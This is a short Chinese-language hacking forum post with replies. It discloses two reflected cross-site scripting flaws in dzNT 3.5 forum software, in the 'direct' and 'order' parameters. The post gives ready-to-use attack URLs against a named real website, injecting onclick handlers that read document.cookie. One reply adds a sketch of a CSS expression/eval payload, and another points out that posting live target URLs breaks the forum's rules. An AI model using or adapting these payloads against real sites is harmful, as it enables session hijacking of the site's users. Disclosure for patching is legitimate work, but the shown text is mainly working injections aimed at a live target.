dzNT3.5两处鸡肋xss
别的版本还没测试
找了个站做例子
两处参数
direct：
order：
或者换成onmouseover等事件
找了个站做例子
两处参数
direct：
http://www.spark.com.cn/bbs/showtopiclist.aspx?direct=000" onclick=alert(document.cookie) a="&forumid=-1&order=1&page=1&search=1&type=order：
http://www.spark.com.cn/bbs/showtopiclist.aspx?direct=000&forumid=-1&order=1" onclick=alert(/t00ls/) a="&page=1&search=1&type=或者换成onmouseover等事件
关于作者
评论14次
楼主可否有爆nt 路径的方法？
论坛版规上不是说不让直接发目标URL吗
look~
一样也是需要点击或者移动触发，具体怎么丰富大家自己写了。所以我才说鸡肋 不鸡肋的话就发乌云了
可以尝试写(function{var $=document.getElementById,$("victim").innerHTML="<style>id{background:expression(eval(xxx))}"})();，其实xi望看到类似的代码
alert的xss表示不看好，为什么机油都只写alert，不写点其他的
确实鸡肋，没看出用途
近期xss很火
万恶的xss
呵呵、、、收下、、
en..
SF？ 占位编辑